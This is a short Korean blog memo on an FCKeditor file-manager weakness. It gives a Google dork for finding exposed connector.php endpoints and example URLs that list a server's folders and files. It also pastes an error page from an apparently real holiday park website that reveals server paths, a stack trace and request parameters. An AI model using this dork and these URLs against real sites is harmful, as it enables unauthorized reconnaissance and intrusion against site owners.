본문 바로가기

메모/생각

fckeditor 취약점


Google Dorks : 

inurl:connector.php?Command=GetFoldersAndFiles


URL Examples:

http://Site.com/board/fckeditor/editor/filemanager/connectors/php/con

nector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=


http://Site.com/fck/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F



Page Contents:

Exception


Message


The view "fckeditorfilemanagerbrowserdefaultconnectorsphpconnector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F" was not found/is not readable.

Code


0

Trace


#0 /srv/vhost/lhp/lowther-holidaypark.co.uk/lib/itsy/itsy.class.php(102): itsy_controller->_render('fckeditorfilema...', true)

#1 /srv/vhost/lhp/lowther-holidaypark.co.uk/public_html/index.php(57): itsy::dispatch('default', 'fckeditorfilema...', NULL, false, true)

#2 {main}

Log


CORE - Starting Itsy

CORE - Dispatching: controller: default, action: fckeditorfilemanagerbrowserdefaultconnectorsphpconnector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F, param: , partial: , itsy: 1

CORE - Auto Loader: default_controller

CORE - Loading Controller: default_controller

CORE - Auto Loader: itsy_controller

CONTROLLER - default_controller - Execute: action: fckeditorfilemanagerbrowserdefaultconnectorsphpconnector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F, param: 

CONTROLLER - default_controller - Render

CORE - Dispatching: controller: itsy_error, action: _exception, param: Array, partial: , itsy: 

CORE - Auto Loader: itsy_error_controller

CORE - Loading Controller: itsy_error_controller

CORE - Auto Loader: itsy_request

CONTROLLER - itsy_error_controller - Execute: action: _exception, param: Array

CONTROLLER - itsy_error_controller - Render

CONTROLLER - itsy_error_controller - Render Layout

_GET


Array

(

    [page] => fck/editor/filemanager/browser/default/connectors/php/connector.php

    [Command] => GetFoldersAndFiles

    [Type] => File

    [CurrentFolder] => /

)

_POST


Array

(

)

_COOKIE


Array

(

)


'메모 > 생각' 카테고리의 다른 글

넷피스24, 한컴오피스 자동 한글영문 바꿈 해제 방법  (0) 2016.04.26
핑퐁 cpp  (0) 2016.04.24
각종 해킹보안관련 기술문서  (0) 2016.04.24
기록을 많이 남겨야한다.  (0) 2016.04.07
퍼징  (0) 2016.03.14